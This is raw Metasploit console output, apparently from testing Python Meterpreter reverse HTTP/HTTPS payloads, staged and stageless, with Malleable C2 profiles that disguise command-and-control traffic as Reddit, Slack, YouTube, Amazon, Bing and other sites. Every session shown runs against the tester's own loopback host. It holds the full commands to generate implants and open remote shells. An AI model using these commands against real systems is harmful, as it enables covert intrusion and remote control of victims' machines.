[*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: e0nitmg5) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: e0nitmg5) Redirecting stageless: URI '/oscp/mDoziDednooziyafWaDjdA0ouousj' with UA 'Microsoft-CryptoAPI/6.1' -> UUID mDoziDednooziyafWaDigg7lWl6j68V76cuNm2gYbWyglr0ni2UgcIvCpzY77Av5kgSRVicX3b
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: e0nitmg5) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: e0nitmg5) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: e0nitmg5) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:43856) at 2026-06-12 11:27:39 +0200

msf payload(python/meterpreter_reverse_http) > sessions  -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
Reddit
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/reddit.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/reddit.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30788 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
msf payload(python/meterpreter_reverse_http) > [*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: u68l59jn) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: u68l59jn) Redirecting stageless: URI '/r/webdev/comments/95ltyr' with UA 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36' -> UUID h_rpiqw62Xn17uD6n8UkQgHqFd4nj4oxzloxVfT_rcvAVGuUNHSSj6YzkL2wbtXNu8qdaIw-nC
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: u68l59jn) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: u68l59jn) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: u68l59jn) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:54638) at 2026-06-12 11:30:22 +0200

msf payload(python/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
rmtp
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/rtmp.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/rtmp.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30404 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
msf payload(python/meterpreter_reverse_http) > [*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: w147lgst) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: w147lgst) Redirecting stageless: URI '/idle/1376547834/1' with UA 'Shockwave Flash' -> UUID 95na2CDPIiKkGLEMzjN3fgZEKVmQasDGKEzGzjAoCPO9
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: w147lgst) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: w147lgst) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: w147lgst) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:37806) at 2026-06-12 11:37:47 +0200

msf payload(python/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
Slack
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/slack.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/slack.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30664 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
msf payload(python/meterpreter_reverse_http) > [*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 9d8b1ret) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 9d8b1ret) Redirecting stageless: URI '/messages/C0527B0NM' with UA 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)' -> UUID 0X47lDFu-dPiDvcaiCU2cQkbabmTruM1rWKMpopaSGqUBtuEDnLH2F
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 9d8b1ret) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 9d8b1ret) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 9d8b1ret) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:51598) at 2026-06-12 11:42:25 +0200

msf payload(python/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
Stackoverflow
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/stackoverflow.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/stackoverflow.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30744 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
msf payload(python/meterpreter_reverse_http) > [*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: qagiy8zc) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: qagiy8zc) Redirecting stageless: URI '/questions/32251816/c-sharp-directives-compilation-error' with UA 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36' -> UUID 6tYFbcrTj77lN_Ajjxwylg8cB9XTFQVFppV4A22TVhVPtQX-kFyUn4QRJ9
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: qagiy8zc) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: qagiy8zc) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: qagiy8zc) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:56026) at 2026-06-12 11:55:50 +0200

msf payload(python/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
Trevor
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/trevor.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/trevor.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30636 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
^[[1;4CWARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
msf payload(python/meterpreter_reverse_http) > C[*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: u5kget2o) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: u5kget2o) Redirecting stageless: URI '/us/ky/louisville/312-s-fourth-st.html' with UA 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)' -> UUID 4qacCRm3env64u_2kMkiQwT6krD2NxNBZEzuggZm9dpigbZ-QhbBLx-c78LzXwmZQ3DAPCltJ3YcydTsbxzfqrZGLNOT-IEijSLcKnnkbX3tu-Hu61rMxV8tu6z1s
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: u5kget2o) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: u5kget2o) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: u5kget2o) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:38136) at 2026-06-12 12:00:03 +0200
resource ~/Desktop/msf_scripts/python_http_stag
msf payload(python/meterpreter_reverse_http) > sessions  -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
Youtube
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/youtube_video.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/youtube_video.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30608 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
msf payload(python/meterpreter_reverse_http) > [*] Started HTTP reverse handler on http://127.0.0.1:4242

msf payload(python/meterpreter_reverse_http) > sessions -1
[-] Invalid session identifier: -1
msf payload(python/meterpreter_reverse_http) > 
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 2ok3qhmf) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 2ok3qhmf) Redirecting stageless: URI '/watch' with UA 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)' -> UUID pcg-pRmGgeHRDMQYuycIAwaXhZ0woZLhopjZP
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 2ok3qhmf) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 2ok3qhmf) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 2ok3qhmf) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:38814) at 2026-06-12 12:01:57 +0200

msf payload(python/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysifno
[-] Unknown command: sysifno. Did you mean sysinfo? Run the help command for more details.
meterpreter > sysinf
[-] Unknown command: sysinf. Did you mean sysinfo? Run the help command for more details.
meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
Zoom

broken

Stagged

msf payload(python/meterpreter/reverse_http) > set lhost 127.0.0.1
lhost => 127.0.0.1
msf payload(python/meterpreter/reverse_http) > set lport 4242
lport => 4242
msf payload(python/meterpreter/reverse_http) > generate -f raw -o /tmp/msf.py
[*] Writing 552 bytes to /tmp/msf.py...
msf payload(python/meterpreter/reverse_http) > to_handler
[*] Payload Handler Started as Job 0

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
msf payload(python/meterpreter/reverse_http) > [*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: xvri89tf) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: xvri89tf) Staging python payload (30132 bytes) ...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: xvri89tf) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:34392) at 2026-06-15 10:08:30 +0200

msf payload(python/meterpreter/reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms

https

stageless

msf > use payload/python/meterpreter/reverse_https 
msf payload(python/meterpreter/reverse_https) > set lhost 127.0.0.1
lhost => 127.0.0.1
msf payload(python/meterpreter/reverse_https) > set lport 4242
lport => 4242
msf payload(python/meterpreter/reverse_https) > generate -f raw -o /tmp/msf.py
[*] Writing 736 bytes to /tmp/msf.py...
msf payload(python/meterpreter/reverse_https) > to_handler
[*] Payload Handler Started as Job 0
msf payload(python/meterpreter/reverse_https) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTPS reverse handler on https://127.0.0.1:4242

msf payload(python/meterpreter/reverse_https) > 
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: rg90hopf) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: rg90hopf) Staging python payload (30104 bytes) ...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: rg90hopf) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:36898) at 2026-06-15 10:10:46 +0200

msf payload(python/meterpreter/reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
amazon.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/amazon.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/amazon.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30752 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0
msf payload(python/meterpreter_reverse_https) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTPS reverse handler on https://127.0.0.1:4242
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: efdsilth) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: efdsilth) Redirecting stageless: URI '/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books' with UA 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' -> UUID nNdwDJ7Vbjp_VmpCFXnKNAqxud2zlQfvfqr98QsctGmI0-s3oc6-SsUj6m
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: efdsilth) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: efdsilth) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: efdsilth) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:49640) at 2026-06-15 10:18:43 +0200

msf payload(python/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
bing_maps.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/bing_maps.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/bing_maps.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30672 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0
msf payload(python/meterpreter_reverse_https) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTPS reverse handler on https://127.0.0.1:4242
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: g8tprw0z) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: g8tprw0z) Redirecting stageless: URI '/maps/overlaybfpr' with UA 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36' -> UUID Jg_wOB1Eq7kF8BDkb9-wQwwhdjozSunXe4WbQiJnc
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: g8tprw0z) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: g8tprw0z) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: g8tprw0z) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:33648) at 2026-06-15 10:20:05 +0200

msf payload(python/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
bingsearch_getonly.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/bingsearch_getonly.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/bingsearch_getonly.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30792 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0
msf payload(python/meterpreter_reverse_https) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTPS reverse handler on https://127.0.0.1:4242
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: l5r9him6) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: l5r9him6) Redirecting stageless: URI '/search/' with UA 'Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko' -> UUID s520Tr0Ksw5_E2oHFTzJGgEGhfzu8PmspF5fd6s7lZj_Exd1BvMf_m-GqvhK_xA9zB8_e1Gg1I_gAoRah
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: l5r9him6) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: l5r9him6) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: l5r9him6) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:40700) at 2026-06-15 10:21:31 +0200

msf payload(python/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
microsoft_update.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/microsoftupdate_getonly.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/microsoftupdate_getonly.profile
